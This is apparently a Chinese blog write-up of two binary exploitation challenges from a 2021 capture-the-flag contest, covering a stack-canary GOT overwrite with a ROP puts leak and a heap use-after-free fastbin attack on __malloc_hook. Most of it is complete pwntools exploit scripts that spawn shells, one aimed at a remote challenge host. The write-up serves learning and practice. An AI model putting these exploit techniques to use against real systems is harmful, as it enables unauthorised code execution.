陇原战役 PWN
LOLOLO Lv3

PWN1

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

题目IDA打开,就两个主要函数;一个任意地址写函数,一个栈溢出;

思路

我一开始是通过栈溢出覆盖到文件名处,然后退出程序触发stack_chk_fail,但是一直没找到,触发结束后程序会直接crash怎么处理。比赛结束后看了其他师傅的wp;把stack_chk_fail的got表覆盖为ret地址,这样程序在执行了stack_chk_fail了后不会直接crash掉,而是会继续正常执行;所以方法就变为,覆盖栈的返回地址为puts函数的地址和puts的got表,这样程序在经过stack_chk_fail后会执行put将puts的地址打印出来,获取libc后就简简单单了!

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context(log_level='debug',os='linux',arch='amd64')
p = process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/home/lol/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')


put_plt=elf.plt['puts']
puts_got=elf.got['puts']
one = [0x45226,0x4527a,0xf03a4,0xf1247]
ret=0x4005d9
rdi =0x400a03
rsi = 0x400a01
start =0x400670
rop =flat(rdi,puts_got,put_plt,start)


def read1(addr,cot):
p.sendlineafter(b"choice\n",b"0")
p.sendlineafter(b"address:\n",str(addr))
p.sendafter(b"content:\n",cot)

def read2(size,cot):
p.sendlineafter(b"choice\n",b"1")
p.sendlineafter(b"size:\n",str(size))
p.sendlineafter(b"content:\n",cot)

p.recvuntil("^_^\n")
read1(0x601020,p64(ret))
read2(320,b'a'*280+rop)
p.sendlineafter("choice\n",str(ret))
base = u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(hex(base))
one=flat(base + one[0])
read2(320,b"a"*280+one)
p.sendlineafter("choice\n",str(ret))
p.interactive()

exp2 改atoi为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*
context.log_level = "debug"
io = remote("node4.buuoj.cn","27853")
elf = ELF('./pwn1',checksec = 0)
libc = ELF('./libc-2.23.so',checksec = 0)
pop_rdi_ret = 0x400a03
main_addr = 0x40090B
canary_check = 0x601020
atoi_got = 0x601040
offset = 0x110 + 0x8
def chocie(c):
io.recvuntil("choice")
io.sendline(str(c))
def pwn(size,content):
chocie(1)
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.send(content)
def edit_addr(addr,content):
chocie(0)
io.recvuntil(":")
io.sendline(addr)
io.recvuntil(":")
io.send(content)
payload = p64(pop_rdi_ret) + p64(elf.got["puts"])
payload += p64(elf.plt['puts']) + p64(main_addr)
edit_addr(str(canary_check),p64(main_addr))
pwn(0x150,b"a"*offset + payload)
chocie(5) #两次5是为了程序退出,使得puts函数能够打印出libc地址
chocie(5)
#leak_libc and get shell
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base =puts - libc.sym['puts']
system = libc_base + libc.sym['system']
edit_addr(str(atoi_got),p64(system))
io.sendline(b'/bin/sh\x00')
io.interactive()

Magic

保护如下,这题其实保护没什么用

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

打开IDA看见一堆大数字直接懵逼;比赛的时候也没做出来,赛后看了其他出了的师傅们的,发下这种题需要直接上GDB动调去确定程序的流程;所以上GDB走了几次,发现程序其实就是简单的模板菜单题,只是故意做成这样混淆;

后续解题思路

确定程序的流程后

  1. 输入一会创建堆块,大小指定为0x60,且没用写入数据;且该堆块是从unsorted bin 里面切下来的,里面会保留main_arena地址;
  2. 选项二是编辑堆块,没用溢出;但是在最后结束返回时会调用printf函数将当前堆块的内容输出;利用申请堆块不会清空内容,直接将libc地址泄露
  3. 选项三是free操作,存在uaf漏洞

明白流程后,大概就是先申请两个堆块,然后对第一个堆块进行编辑以此来泄露libc;后面就是简单的将malloc链入到fast bin里面去;这里遇到个问题就是,在最后一次申请堆块时,如果使用选项一会报错输入非法;看了师傅的wp,发现可以直接利用double free来申请堆块达到get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
# context.log_level = "debug"
# io = remote("node4.buuoj.cn",27312)
io =process('./1')
elf = ELF("./1",checksec = 0)
# libc = ELF('libc-2.23.so',checksec = 0)
libc=ELF('/home/lol/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so',checksec=0)
one = [0x45226,0x4527a,0xf03a4,0xf1247]
main_arena = 0x3c4b20
def fuck(index):
io.recvuntil(b"Input your choice: ")
io.sendline(str(index))
io.sendline(b'0')
def add(index):
fuck(1)
io.sendline(str(index))
io.sendline(b'0')
def edit(index,content):
fuck(2)
io.recvuntil(b"Input the idx")
io.sendline(str(index))
io.sendline(b'0')
io.recvuntil(b"Input the Magic")
io.send(content)
def delete(index):
fuck(3)
io.recvuntil(b"Input the idx")
io.sendline(str(index))
io.sendline(b'0')
#leak_libc
add(0)
add(1)
edit(0,b"a"*8)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3c4d98

# print (hex(libc_base))
realloc = libc_base + libc.sym['realloc']
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
success("malloc_hook: "+hex(malloc_hook))
one_gadget = one[3] + libc_base
# #fuck the malloc_hook and libc_realloc

delete(1)
delete(0)
edit(0,p64(malloc_hook - 0x23))
add(0)
add(1)
payload = b'\x00'*11+p64(one_gadget)+p64(realloc+0x10)
edit(1,payload)
delete(0)
delete(0)
io.interactive()

总结

两个小收获

  1. stack_chk_fail的got表改为ret地址后,可以跳过检测,程序可以继续执行
  2. 程序流程复制的题目可以先用GDB动调,方便确定程序的主要流程
  • 本文标题:陇原战役 PWN
  • 本文作者:LOLOLO
  • 创建时间:2021-11-07 22:55:29
  • 本文链接:https://lololo-pwn.github.io/2021/11/07/陇原战役-pwn1/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论